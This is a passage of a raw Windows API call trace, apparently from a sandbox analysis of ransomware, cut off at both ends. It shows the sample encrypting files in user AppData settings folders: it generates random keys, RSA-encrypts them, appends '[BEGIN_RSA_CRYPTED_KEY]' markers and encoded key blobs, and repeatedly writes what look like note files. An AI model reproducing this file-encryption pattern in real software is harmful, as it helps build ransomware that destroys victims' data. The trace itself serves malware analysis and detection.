lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.628] SetFilePointer (in: hFile=0x1058, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.628] WriteFile (in: hFile=0x1058, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.628] SetFilePointer (in: hFile=0x1058, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.628] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.628] WriteFile (in: hFile=0x1058, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.630] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.630] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.631] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.631] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="daM69EGYpT/OXDi2KBbETgDhX0JrovHh36n3UmwduBcGe3DzPI9cbA05hayfTszK\nMYPmG7lp5ba1Kub0HpnNzDlzlneGFVx1p+lf7V0wdYDZch29DIBU6nlSHsFmnmGx\neNu1f5RDpVS1dcrJ2CfYnjDvkZ14QzmYrVyrLt9hjDh/U52DnE/2hBrPSPTTmeu1\nF7S8k+nKyZJOJwXRNe/eavJ4p+8LOrC3pZkKMkgrbQ22DjxDhGW4n39AKf9NEThv\nrS/Xp4nCjKBDaWddJtUr+vKOGCiJSipau0nrcau0/nm67BaCNh+jeHwSdkt5wrbe\nvv0lxpnw+3UcC8gtGN5UQQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.631] WriteFile (in: hFile=0x1058, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.632] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.632] WriteFile (in: hFile=0x1058, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.632] CloseHandle (hObject=0x1058) returned 1 [0199.639] WriteFile (in: hFile=0x1064, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.640] CloseHandle (hObject=0x1064) returned 1 [0199.641] WriteFile (in: hFile=0x1064, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.643] CloseHandle (hObject=0x1064) returned 1 [0199.643] WriteFile (in: hFile=0x1064, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.645] CloseHandle (hObject=0x1064) returned 1 [0199.646] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.646] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0199.647] ReadFile (in: hFile=0x1078, lpBuffer=0x59d200, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.647] SetFilePointer (in: hFile=0x1078, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.647] WriteFile (in: hFile=0x1078, lpBuffer=0x59d370*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.647] SetFilePointer (in: hFile=0x1078, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.647] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.647] WriteFile (in: hFile=0x1078, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.649] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.649] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.649] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.649] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="a/ZlT509i6WqMp0WKRyljPkJHTa/515WRQzwZN9orox1yj+222IVNNX4VyIWIZHO\n3y2LUJ3xJ1Xr1PTgPHHnaT35NRU6A0MUxXmjYwK53rxZxyGHisigEOnR08pTC/Xm\nano8LYezKid4bgG/nyvMaNV9NEzg7/eocWhBcgUUo8YmFP7uxtSZNg0veaV+ROcL\nQExh/ZgFrmZhzPEfB5t6EzOpi8FM60Mnvwc7EC33JC0usX3mK7rxJo25itjWZY7c\nREdEsW9OwfJPs6nqOOc1O4+rtL00rhHkpeqtbIvDreANr67mlgnwKOK4WRNrbuyJ\nmrPva0IdT3ryG2CMFSofPg==\n", pcchString=0x2e3f9a8) returned 1 [0199.649] WriteFile (in: hFile=0x1078, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.650] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.650] WriteFile (in: hFile=0x1078, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.650] CloseHandle (hObject=0x1078) returned 1 [0199.652] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.653] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0199.653] ReadFile (in: hFile=0x1078, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.662] SetFilePointer (in: hFile=0x1078, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.662] WriteFile (in: hFile=0x1078, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.663] SetFilePointer (in: hFile=0x1078, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.663] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.663] WriteFile (in: hFile=0x1078, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ywfNFlp5ffxv15IVrDh69JZWdlf5yfcR/UEEi3xqP7CfGYq7T/gJv2CKx1xzQXUR\nk+gCQHaZ0g8KuOkWl6dU+VjUUcaIO36xCry/rIDzk66J6sVXiRncmtsNWYVyKt9t\nroYBp4aGTL0lSj0a68sRROnbRid4K154Q3aSQ5iSUPYgsU4h9bZI2EIRtDN1srnB\n+NI+VZDg1Rl4HKvn9BnGzyAy4vTFmld6IrmvvdrL3WA5mNGlgwGfX0gMs4fs5Y97\nTbLx5/qgc10/Hx1jV/8EQk7Ijl22WF30LWmXLk7XSC+LYBBWkw0Ruo0njHbo+K52\np115p8rWwyRYmSulVkZpog==\n", pcchString=0x2e3f9a8) returned 1 [0199.665] WriteFile (in: hFile=0x1078, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.665] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.665] WriteFile (in: hFile=0x1078, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.666] CloseHandle (hObject=0x1078) returned 1 [0199.668] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.668] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.669] ReadFile (in: hFile=0x1078, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.691] SetFilePointer (in: hFile=0x1078, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.691] WriteFile (in: hFile=0x1078, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.691] SetFilePointer (in: hFile=0x1078, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.692] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.692] WriteFile (in: hFile=0x1078, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZV1PClq6hPLG/+qD9F4tuHAlkERif4KAQH1ZiENUi1WMXbOomfprRTsKlosZA+2y\n3IukxUkFgLlbBzotMvDw3yu4TjJx266IiAI0BtzuYiWKNZmkL4NpCsK+AhJU05fs\ninwk9wM+pDMn/gPRcEJG17VUsHktvjU0q2DZ4ZSoGs7LnvdIrdRlGSU+8fSquMNe\n+6XM3cAkpH8w2yULdQJLdnm1CIa45eBrhRixIR/7Su1nPiCXk6wqivUUAi734TgN\ngFIB/IOql8h+G/i9lfs5WSDlEccNbrWq+O5gL6P/Vsfu0jb9tYfiP8oxyruJUyww\nqH0cexQMJla+zhcAGNZyCA==\n", pcchString=0x2e3f9a8) returned 1 [0199.693] WriteFile (in: hFile=0x1078, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.693] WriteFile (in: hFile=0x1078, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.693] CloseHandle (hObject=0x1078) returned 1 [0199.695] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.695] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.695] ReadFile (in: hFile=0x1078, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.696] SetFilePointer (in: hFile=0x1078, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.696] WriteFile (in: hFile=0x1078, lpBuffer=0x59d390*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.696] SetFilePointer (in: hFile=0x1078, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.696] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.696] WriteFile (in: hFile=0x1078, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="54URHzaZDsbXXMtdtgG8sTe5JOSsIgy6eVkX1TQopAUZNzlqLKk7Zxw8IaAWDOP4\nwzGrlB5oCcsEFub7pUt+erfMm8/n5Eh4hrIUeepzJpDLBXldnPZvNtfsDOpQSXla\nd1ipIl84wwYw2Dwvnca7lyZSq0UV/eHZ5PxMy01XBctXUEVSYsgf9FSw0POCW5sp\nFFoXzCLPV/fR0QsHU1EHDnzktO1gaV0taZMxkehT4G1VAWbc8FZWR99tQw9or2jd\n7Jx92pTUztauRmCjDczHdD7jiA7mGFwc/1s1BCQ3Gwkl8iLGiCd45JG19ExNXRXM\nHq4faIJHC80hWxtpd4p+DA==\n", pcchString=0x2e3f9a8) returned 1 [0199.698] WriteFile (in: hFile=0x1078, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.698] WriteFile (in: hFile=0x1078, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.698] CloseHandle (hObject=0x1078) returned 1 [0199.702] WriteFile (in: hFile=0x1084, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.704] CloseHandle (hObject=0x1084) returned 1 [0199.706] WriteFile (in: hFile=0x1084, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.707] CloseHandle (hObject=0x1084) returned 1 [0199.709] WriteFile (in: hFile=0x1084, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.710] CloseHandle (hObject=0x1084) returned 1 [0199.711] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0199.712] ReadFile (in: hFile=0x1098, lpBuffer=0x59d1d0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.712] SetFilePointer (in: hFile=0x1098, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.712] WriteFile (in: hFile=0x1098, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.713] SetFilePointer (in: hFile=0x1098, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.713] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.713] WriteFile (in: hFile=0x1098, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.715] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.715] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jBufegrtEcy53Mm5wbsbjRzlDbq+3pY9ETanryIXZe3gMx7dL454+n3IVlHylCMd\nPBZ4RKdAWcyJwp11wfFPhGn1XFGUzEgudC3wwIMrUyGo2cPzmwBzfDaPe8tvtUS1\nfhDoB1I9J0xcP1mpNTM8bk/vJy3gc7f+mzTN69j2qWkRjU+bio3oLuKJs8Nk+YEu\nvUMLqrYep2qmazEiTP9aVzAbNZ4HBeshqI99j86q8LyR7B6+Q306hSPqObxCnKB2\n13rfOkox52EgM947PpR4gXG9T1vBVHlzCfRhYdp9dl1Vf4nL/gDhQZ1wQvyTTGVY\nYLwaZAen8/kxBgxRkHR9Fw==\n", pcchString=0x2e3f9a8) returned 1 [0199.715] WriteFile (in: hFile=0x1098, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.715] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.715] WriteFile (in: hFile=0x1098, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.716] CloseHandle (hObject=0x1098) returned 1 [0199.722] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.722] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0199.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1098 [0199.723] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0199.724] ReadFile (in: hFile=0x1098, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.732] SetFilePointer (in: hFile=0x1098, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.732] WriteFile (in: hFile=0x1098, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.732] SetFilePointer (in: hFile=0x1098, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.732] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.732] WriteFile (in: hFile=0x1098, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.733] 